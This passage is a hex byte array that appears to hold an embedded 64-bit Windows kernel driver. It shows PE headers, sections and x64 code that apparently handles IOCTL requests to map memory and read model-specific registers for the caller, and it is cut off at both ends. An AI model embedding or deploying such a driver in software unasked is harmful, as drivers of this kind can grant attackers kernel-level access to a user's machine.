0xD6, 0xEA, 0xB9, 0x32, 0xD7, - 0x8A, 0xDF, 0x31, 0xD6, 0xEC, 0xB9, 0x32, 0xD7, 0x7E, 0xD0, 0x37, 0xD6, - 0xEE, 0xB9, 0x32, 0xD7, 0x7E, 0xD0, 0xCD, 0xD7, 0xEE, 0xB9, 0x32, 0xD7, - 0x7E, 0xD0, 0x30, 0xD6, 0xEE, 0xB9, 0x32, 0xD7, 0x52, 0x69, 0x63, 0x68, - 0xEF, 0xB9, 0x32, 0xD7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00, - 0x64, 0x86, 0x07, 0x00, 0x7A, 0x77, 0xB7, 0x5D, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xF0, 0x00, 0x22, 0x00, 0x0B, 0x02, 0x0E, 0x10, - 0x00, 0x16, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x50, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, - 0x0A, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x06, 0x00, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, - 0x18, 0xA7, 0x00, 0x00, 0x01, 0x00, 0x60, 0x41, 0x00, 0x00, 0x10, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x50, 0x00, 0x00, - 0x3C, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x28, 0x04, 0x00, 0x00, - 0x00, 0x40, 0x00, 0x00, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, - 0xD8, 0x24, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, - 0x40, 0x21, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x21, 0x00, 0x00, - 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x20, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, - 0x74, 0x00, 0x00, 0x00, 0x8A, 0x0F, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, - 0x00, 0x10, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x68, - 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0xEC, 0x05, 0x00, 0x00, - 0x00, 0x20, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x40, 0x00, 0x00, 0x48, 0x2E, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x00, - 0x80, 0x03, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, - 0x00, 0x1A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0xC8, 0x2E, 0x70, 0x64, 0x61, - 0x74, 0x61, 0x00, 0x00, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, - 0x00, 0x02, 0x00, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x48, - 0x49, 0x4E, 0x49, 0x54, 0x00, 0x00, 0x00, 0x00, 0x6C, 0x04, 0x00, 0x00, - 0x00, 0x50, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x1E, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x20, 0x00, 0x00, 0x62, 0x2E, 0x72, 0x73, 0x72, 0x63, 0x00, 0x00, 0x00, - 0x28, 0x04, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, - 0x00, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x42, 0x2E, 0x72, 0x65, 0x6C, - 0x6F, 0x63, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00, - 0x00, 0x02, 0x00, 0x00, 0x00, 0x2A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x42, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x08, 0x48, - 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, - 0x57, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x8B, 0xAA, 0xB8, 0x00, 0x00, 0x00, - 0x48, 0x8D, 0x0D, 0x59, 0x22, 0x00, 0x00, 0x48, 0x83, 0x60, 0xE8, 0x00, - 0x48, 0x8B, 0xF2, 0x33, 0xD2, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0xFF, - 0x15, 0xFB, 0x0F, 0x00, 0x00, 0x48, 0x8B, 0x0D, 0x74, 0x22, 0x00, 0x00, - 0x4C, 0x8D, 0x3D, 0x6D, 0x22, 0x00, 0x00, 0x49, 0x3B, 0xCF, 0x74, 0x3C, - 0x48, 0x8B, 0x45, 0x30, 0x48, 0x8B, 0x19, 0x48, 0x39, 0x41, 0x10, 0x75, - 0x20, 0x48, 0x39, 0x4B, 0x08, 0x75, 0x22, 0x48, 0x8B, 0x79, 0x08, 0x48, - 0x39, 0x0F, 0x75, 0x19, 0x48, 0x89, 0x1F, 0x48, 0x89, 0x7B, 0x08, 0xE8, - 0xEC, 0x02, 0x00, 0x00, 0x48, 0x3B, 0xFB, 0x74, 0x0F, 0x48, 0x8B, 0xCB, - 0x49, 0x3B, 0xDF, 0xEB, 0xC9, 0xB9, 0x03, 0x00, 0x00, 0x00, 0xCD, 0x29, - 0x48, 0x83, 0x66, 0x38, 0x00, 0x33, 0xD2, 0x83, 0x66, 0x30, 0x00, 0x48, - 0x8B, 0xCE, 0xFF, 0x15, 0xF8, 0x0F, 0x00, 0x00, 0x33, 0xD2, 0x48, 0x8D, - 0x0D, 0xD7, 0x21, 0x00, 0x00, 0xFF, 0x15, 0x81, 0x0F, 0x00, 0x00, 0x48, - 0x8B, 0x5C, 0x24, 0x40, 0x33, 0xC0, 0x48, 0x8B, 0x6C, 0x24, 0x48, 0x48, - 0x8B, 0x74, 0x24, 0x50, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x83, 0xC4, - 0x30, 0x41, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x28, - 0x48, 0x83, 0x62, 0x38, 0x00, 0x48, 0x8B, 0xCA, 0x83, 0x62, 0x30, 0x00, - 0x33, 0xD2, 0xFF, 0x15, 0xB0, 0x0F, 0x00, 0x00, 0x33, 0xC0, 0x48, 0x83, - 0xC4, 0x28, 0xC3, 0xCC, 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x08, 0x48, - 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, - 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x4C, 0x8B, 0xAA, - 0xB8, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x7A, 0x38, 0x48, 0x8B, 0x72, 0x18, - 0x33, 0xDB, 0x4C, 0x8B, 0xFA, 0xBA, 0x4C, 0x93, 0x22, 0x00, 0x41, 0x8B, - 0x4D, 0x18, 0x41, 0x8B, 0x6D, 0x10, 0x45, 0x8B, 0x75, 0x08, 0x48, 0x89, - 0x1F, 0x3B, 0xCA, 0x0F, 0x87, 0xA0, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x10, - 0x01, 0x00, 0x00, 0x8B, 0xC1, 0x2D, 0x48, 0x53, 0x22, 0x00, 0x74, 0x7C, - 0x83, 0xE8, 0x10, 0x0F, 0x84, 0xDE, 0x00, 0x00, 0x00, 0x83, 0xE8, 0x1C, - 0x74, 0x45, 0x83, 0xE8, 0x08, 0x74, 0x1E, 0x83, 0xF8, 0x0C, 0x0F, 0x85, - 0x92, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0xCF, 0x45, 0x8B, 0xC6, 0x8B, 0xD5, - 0x48, 0x8B, 0xCE, 0xE8, 0x4C, 0x05, 0x00, 0x00, 0xE9, 0xEC, 0x00, 0x00, - 0x00, 0x41, 0x83, 0xFE, 0x04, 0x73, 0x0A, 0xBB, 0x23, 0x00, 0x00, 0xC0, - 0xE9, 0xDE, 0x00, 0x00, 0x00, 0xC7, 0x06, 0x12, 0x00, 0x00, 0x01, 0x48, - 0xC7, 0x07, 0x04, 0x00, 0x00, 0x00, 0xE9, 0xCC, 0x00, 0x00, 0x00, 0x49, - 0x8B, 0xCF, 0xFF, 0x15, 0x20, 0x0F, 0x00, 0x00, 0x49, 0x8B, 0x55, 0x30, - 0x44, 0x8B, 0xCD, 0x8B, 0xC8, 0x48, 0x89, 0x7C, 0x24, 0x28, 0x4C, 0x8B, - 0xC6, 0x44, 0x89, 0x74, 0x24, 0x20, 0xE8, 0x1D, 0x02, 0x00, 0x00, 0xE9, - 0xA1, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0xCF, 0x45, 0x8B, 0xC6, 0x8B, 0xD5, - 0x48, 0x8B, 0xCE, 0xE8, 0x24, 0x05, 0x00, 0x00, 0xE9, 0x8C, 0x00, 0x00, - 0x00, 0x8B, 0xC1, 0x2D, 0x50, 0x93, 0x22, 0x00, 0x74, 0x6B, 0x83, 0xE8, - 0x04, 0x74, 0x48, 0x83, 0xE8, 0x24, 0x74, 0x2F, 0x83, 0xE8, 0x08, 0x74, - 0x1B, 0x83, 0xF8, 0x04, 0x74, 0x07, 0xBB, 0x02, 0x00, 0x00, 0xC0, 0xEB, - 0x6A, 0x4C, 0x8B, 0xC7, 0x8B, 0xD5, 0x48, 0x8B, 0xCE, 0xE8, 0xAE, 0x07, - 0x00, 0x00, 0xEB, 0x59, 0x4C, 0x8B, 0xC7, 0x8B, 0xD5, 0x48, 0x8B, 0xCE, - 0xE8, 0xCF, 0x07, 0x00, 0x00, 0xEB, 0x4A, 0x49, 0x8B, 0x4D, 0x30, 0x4C, - 0x8B, 0xCF, 0x44, 0x8B, 0xC5, 0x48, 0x8B, 0xD6, 0xE8, 0xCB, 0x06, 0x00, - 0x00, 0xEB, 0x36, 0x81, 0xF9, 0x54, 0x93, 0x22, 0x00, 0x48, 0x89, 0x7C, - 0x24, 0x20, 0x45, 0x8B, 0xCE, 0x44, 0x8B, 0xC5, 0x0F, 0x94, 0xC2, 0x48, - 0x8B, 0xCE, 0xE8, 0x29, 0x06, 0x00, 0x00, 0xEB, 0x18, 0x3B, 0xCA, 0x0F, - 0x94, 0xC2, 0x48, 0x89, 0x7C, 0x24, 0x20, 0x45, 0x8B, 0xCE, 0x44, 0x8B, - 0xC5, 0x48, 0x8B, 0xCE, 0xE8, 0x03, 0x05, 0x00, 0x00, 0x8B, 0xD8, 0x33, - 0xD2, 0x41, 0x89, 0x5F, 0x30, 0x49, 0x8B, 0xCF, 0xFF, 0x15, 0x1E, 0x0E, - 0x00, 0x00, 0x48, 0x8B, 0x6C, 0x24, 0x58, 0x8B, 0xC3, 0x48, 0x8B, 0x5C, - 0x24, 0x50, 0x48, 0x8B, 0x74, 0x24, 0x60, 0x48, 0x8B, 0x7C, 0x24, 0x68, - 0x48, 0x83, 0xC4, 0x30, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0xC3, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x8B, - 0xD9, 0x48, 0x8D, 0x0D, 0x50, 0x20, 0x00, 0x00, 0xFF, 0x15, 0xAA, 0x0D, - 0x00, 0x00, 0x66, 0x83, 0x3D, 0xC2, 0x1D, 0x00, 0x00, 0x00, 0x74, 0x1D, - 0x48, 0x8D, 0x15, 0xB9, 0x1D, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x20, - 0xFF, 0x15, 0x46, 0x0D, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xFF, - 0x15, 0xDB, 0x0D, 0x00, 0x00, 0x48, 0x8B, 0x4B, 0x08, 0x48, 0x83, 0xC4, - 0x30, 0x5B, 0x48, 0xFF, 0x25, 0xC3, 0x0D, 0x00, 0x00, 0xCC, 0xCC, 0xCC, - 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, - 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, 0x56, 0x48, 0x83, 0xEC, - 0x20, 0x48, 0x8B, 0x1D, 0xA8, 0x1F, 0x00, 0x00, 0x4C, 0x8D, 0x35, 0xA1, - 0x1F, 0x00, 0x00, 0x49, 0x8B, 0xF8, 0x48, 0x8B, 0xF2, 0x48, 0x8B, 0xE9, - 0xEB, 0x19, 0x4C, 0x8B, 0xC7, 0x48, 0x8B, 0xD6, 0x48, 0x8B, 0xCB, 0x48, - 0x8B, 0xC5, 0xFF, 0x15, 0xD4, 0x0D, 0x00, 0x00, 0x84, 0xC0, 0x75, 0x25, - 0x48, 0x8B, 0x1B, 0x49, 0x3B, 0xDE, 0x75, 0xE2, 0x33, 0xC0, 0x48, 0x8B, - 0x5C, 0x24, 0x30, 0x48, 0x8B, 0x6C, 0x24, 0x38, 0x48, 0x8B, 0x74, 0x24, - 0x40, 0x48, 0x8B, 0x7C, 0x24, 0x48, 0x48, 0x83, 0xC4, 0x20, 0x41, 0x5E, - 0xC3, 0x48, 0x8B, 0xC3, 0xEB, 0xE0, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, - 0xEC, 0x20, 0x48, 0x8B, 0x51, 0x38, 0x48, 0x8B, 0xD9, 0x48, 0x8B, 0x49, - 0x30, 0xFF, 0x15, 0x6D, 0x0D, 0x00, 0x00, 0x48, 0x8B, 0x4B, 0x38, 0xFF, - 0x15, 0x3B, 0x0D, 0x00, 0x00, 0x8B, 0x53, 0x28, 0x48, 0x8B, 0x4B, 0x20, - 0xFF, 0x15, 0xF6, 0x0C, 0x00, 0x00, 0xFF, 0x05, 0x84, 0x1F, 0x00, 0x00, - 0x48, 0x8D, 0x0D, 0x61, 0x1F, 0x00, 0x00, 0xFF, 0x15, 0x9B, 0x0C, 0x00, - 0x00, 0x66, 0x3B, 0x05, 0x64, 0x1F, 0x00, 0x00, 0x72, 0x1C, 0xFF, 0x05, - 0x6C, 0x1F, 0x00, 0x00, 0x48, 0x8B, 0xCB, 0x48, 0x8B, 0x05, 0x7A, 0x1F, - 0x00, 0x00, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0x48, 0xFF, 0x25, 0x3E, 0x0D, - 0x00, 0x00, 0x48, 0x8B, 0xD3, 0x48, 0x8D, 0x0D, 0x2C, 0x1F, 0x00, 0x00, - 0x48, 0x83, 0xC4, 0x20, 0x5B, 0x48, 0xFF, 0x25, 0x70, 0x0C, 0x00, 0x00, - 0x48, 0x8B, 0xC4, 0x4C, 0x89, 0x40, 0x18, 0x48, 0x89, 0x50, 0x10, 0x89, - 0x48, 0x08, 0x53, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, - 0x57, 0x48, 0x83, 0xEC, 0x50, 0x49, 0x8B, 0xF0, 0x8B, 0xF9, 0x41, 0x83, - 0xF9, 0x0C, 0x0F, 0x82, 0x67, 0x02, 0x00, 0x00, 0x83, 0xBC, 0x24, 0xB0, - 0x00, 0x00, 0x00, 0x08, 0x0F, 0x82, 0x59, 0x02, 0x00, 0x00, 0x33, 0xDB, - 0x48, 0x89, 0x58, 0x98, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0x33, 0xD2, - 0x48, 0x8D, 0x0D, 0x51, 0x1E, 0x00, 0x00, 0xFF, 0x15, 0x03, 0x0C, 0x00, - 0x00, 0x44, 0x8B, 0xC7, 0x48, 0x8B, 0x16, 0x48, 0x8D, 0x0D, 0x6E, 0x02, - 0x00, 0x00, 0xE8, 0xA9, 0xFE, 0xFF, 0xFF, 0x48, 0x8B, 0xC8, 0x48, 0x85, - 0xC0, 0x74, 0x1E, 0xFF, 0x40, 0x40, 0x48, 0x8B, 0x84, 0x24, 0xB8, 0x00, - 0x00, 0x00, 0x48, 0xC7, 0x00, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x41, - 0x30, 0x48, 0x89, 0x06, 0xE9, 0x5B, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x0E, - 0x8B, 0x56, 0x08, 0x45, 0x33, 0xC0, 0xFF, 0x15, 0x04, 0x0C, 0x00, 0x00, - 0x4C, 0x8B, 0xF8, 0x48, 0x89, 0x44, 0x24, 0x40, 0x48, 0x85, 0xC0, 0x0F, - 0x84, 0x36, 0x01, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, 0x20, 0x45, 0x33, - 0xC9, 0x45, 0x33, 0xC0, 0x8B, 0x56, 0x08, 0x48, 0x8B, 0xC8, 0xFF, 0x15, - 0xEC, 0x0B, 0x00, 0x00, 0x4C, 0x8B, 0xF0, 0x48, 0x89, 0x44, 0x24, 0x48, - 0x48, 0x85, 0xC0, 0x75, 0x16, 0x8B, 0x56, 0x08, 0x49, 0x8B, 0xCF, 0xFF, - 0x15, 0xCB, 0x0B, 0x00, 0x00, 0xBB, 0x9A, 0x00, 0x00, 0xC0, 0xE9, 0x01, - 0x01, 0x00, 0x00, 0x49, 0x8B, 0xCE, 0xFF, 0x15, 0x98, 0x0B, 0x00, 0x00, - 0x48, 0x89, 0x5C, 0x24, 0x38, 0x8B, 0x05, 0x69, 0x1B, 0x00, 0x00, 0x83, - 0xC8, 0x20, 0x89, 0x44, 0x24, 0x28, 0x89, 0x5C, 0x24, 0x20, 0x45, 0x33, - 0xC9, 0x45, 0x33, 0xC0, 0xB2, 0x01, 0x49, 0x8B, 0xCE, 0xFF, 0x15, 0x79, - 0x0B, 0x00, 0x00, 0x45, 0x8B, 0x6E, 0x2C, 0x48, 0x25, 0x00, 0xF0, 0xFF, - 0xFF, 0x4C, 0x03, 0xE8, 0x4C, 0x89, 0x6C, 0x24, 0x38, 0x44, 0x8B, 0xE3, - 0xB8, 0x9A, 0x00, 0x00, 0xC0, 0x44, 0x0F, 0x44, 0xE0, 0x44, 0x89, 0x64, - 0x24, 0x30, 0xEB, 0x1E, 0x44, 0x8B, 0xE0, 0x89, 0x44, 0x24, 0x30, 0x48, - 0x8B, 0xB4, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0x7C, 0x24, 0x40, - 0x4C, 0x8B, 0x74, 0x24, 0x48, 0x4C, 0x8B, 0x6C, 0x24, 0x38, 0x45, 0x85, - 0xE4, 0x79, 0x1A, 0x49, 0x8B, 0xCE, 0xFF, 0x15, 0x78, 0x0B, 0x00, 0x00, - 0x8B, 0x56, 0x08, 0x49, 0x8B, 0xCF, 0xFF, 0x15, 0x34, 0x0B, 0x00, 0x00, - 0xE9, 0x06, 0x01, 0x00, 0x00, 0xFF, 0x05, 0xB5, 0x1D, 0x00, 0x00, 0x48, - 0x8D, 0x0D, 0x9A, 0x1D, 0x00, 0x00, 0xFF, 0x15, 0xDC, 0x0A, 0x00, 0x00, - 0x48, 0x8B, 0xF8, 0x48, 0x85, 0xC0, 0x75, 0x29, 0xFF, 0x05, 0x9E, 0x1D, - 0x00, 0x00, 0x8B, 0x15, 0xAC, 0x1D, 0x00, 0x00, 0x48, 0x8B, 0x05, 0xA9, - 0x1D, 0x00, 0x00, 0x44, 0x8B, 0x05, 0x9A, 0x1D, 0x00, 0x00, 0x8B, 0x0D, - 0x90, 0x1D, 0x00, 0x00, 0xFF, 0x15, 0x6E, 0x0B, 0x00, 0x00, 0x48, 0x8B, - 0xF8, 0x48, 0x85, 0xFF, 0x75, 0x3C, 0x49, 0x8B, 0xD6, 0x49, 0x8B, 0xCD, - 0xFF, 0x15, 0x3A, 0x0B, 0x00, 0x00, 0x49, 0x8B, 0xCE, 0xFF, 0x15, 0x09, - 0x0B, 0x00, 0x00, 0x8B, 0x56, 0x08, 0x49, 0x8B, 0xCF, 0xFF, 0x15, 0xC5, - 0x0A, 0x00, 0x00, 0xBB, 0x17, 0x00, 0x00, 0xC0, 0x33, 0xD2, 0x48, 0x8D, - 0x0D, 0xAF, 0x1C, 0x00, 0x00, 0xFF, 0x15, 0x59, 0x0A, 0x00, 0x00, 0x8B, - 0xC3, 0xE9, 0x9A, 0x00, 0x00, 0x00, 0x33, 0xD2, 0x44, 0x8D, 0x42, 0x48, - 0x48, 0x8B, 0xCF, 0xE8, 0x54, 0x08, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, - 0x98, 0x00, 0x00, 0x00, 0x48, 0x89, 0x47, 0x10, 0x8B, 0x46, 0x08, 0x89, - 0x47, 0x28, 0x48, 0x8B, 0x06, 0x48, 0x89, 0x47, 0x18, 0x4C, 0x89, 0x7F, - 0x20, 0x4C, 0x89, 0x6F, 0x30, 0x4C, 0x89, 0x77, 0x38, 0xC7, 0x47, 0x40, - 0x01, 0x00, 0x00, 0x00, 0x8B, 0x84, 0x24, 0x90, 0x00, 0x00, 0x00, 0x89, - 0x47, 0x2C, 0x48, 0x8B, 0x05, 0x97, 0x1C, 0x00, 0x00, 0x48, 0x8D, 0x0D, - 0x88, 0x1C, 0x00, 0x00, 0x48, 0x39, 0x08, 0x74, 0x07, 0xB9, 0x03, 0x00, - 0x00, 0x00, 0xCD, 0x29, 0x48, 0x89, 0x0F, 0x48, 0x89, 0x47, 0x08, 0x48, - 0x89, 0x38, 0x48, 0x89, 0x3D, 0x73, 0x1C, 0x00, 0x00, 0x48, 0x8B, 0x8C, - 0x24, 0xB8, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x01, 0x08, 0x00, 0x00, 0x00, - 0x4C, 0x89, 0x2E, 0x33, 0xD2, 0x48, 0x8D, 0x0D, 0x18, 0x1C, 0x00, 0x00, - 0xFF, 0x15, 0xC2, 0x09, 0x00, 0x00, 0x41, 0x8B, 0xC4, 0xEB, 0x05, 0xB8, - 0x23, 0x00, 0x00, 0xC0, 0x48, 0x83, 0xC4, 0x50, 0x41, 0x5F, 0x41, 0x5E, - 0x41, 0x5D, 0x41, 0x5C, 0x5F, 0x5E, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x39, 0x51, 0x10, 0x75, 0x09, 0x4C, 0x39, - 0x41, 0x30, 0x75, 0x03, 0xB0, 0x01, 0xC3, 0x32, 0xC0, 0xC3, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x48, 0x39, 0x51, 0x18, 0x75, 0x09, 0x44, 0x39, 0x41, 0x2C, 0x75, 0x03, - 0xB0, 0x01, 0xC3, 0x32, 0xC0, 0xC3, 0xCC, 0xCC, 0x4C, 0x8B, 0xD1, 0x83, - 0xFA, 0x04, 0x73, 0x06, 0xB8, 0x23, 0x00, 0x00, 0xC0, 0xC3, 0x41, 0x83, - 0xF8, 0x08, 0x72, 0xF4, 0x45, 0x33, 0xC0, 0x8B, 0x09, 0x0F, 0x32, 0x48, - 0xC1, 0xE2, 0x20, 0x48, 0x0B, 0xC2, 0x49, 0x89, 0x02, 0x49, 0xC7, 0x01, - 0x08, 0x00, 0x00, 0x00, 0xEB, 0x03, 0x44, 0x8B, 0xC0, 0x41, 0x8B, 0xC0, - 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, - 0xEC, 0x30, 0x49, 0x8B, 0xF9, 0x83, 0xFA, 0x14, 0x72, 0x4C, 0x8B, 0x59, - 0x10, 0x44, 0x3B, 0xC3, 0x72, 0x44, 0x44, 0x8B, 0x41, 0x08, 0x4C, 0x8B, - 0xC9, 0x8B, 0x41, 0x04, 0x41, 0x83, 0xE0, 0x07, 0x8B, 0x11, 0x83, 0xE0, - 0x1F, 0x41, 0xC1, 0xE0, 0x05, 0x44, 0x0B, 0xC0, 0x89, 0x5C, 0x24, 0x28, - 0x8B, 0x41, 0x0C, 0xB9, 0x04, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x20, - 0xFF, 0x15, 0xC2, 0x08, 0x00, 0x00, 0x8B, 0xC8, 0x48, 0x89, 0x0F, 0x48, - 0x2B, 0xCB, 0x48, 0xF7, 0xD9, 0x1B, 0xC0, 0x25, 0x0D, 0x00, 0x00, 0xC0, - 0xEB, 0x05, 0xB8, 0x23, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x40, - 0x48, 0x83, 0xC4, 0x30, 0x5F, 0xC3, 0xCC, 0xCC, 0x48, 0x8B, 0xC4, 0x48, - 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, - 0x89, 0x78, 0x20, 0x41, 0x56, 0x48, 0x83, 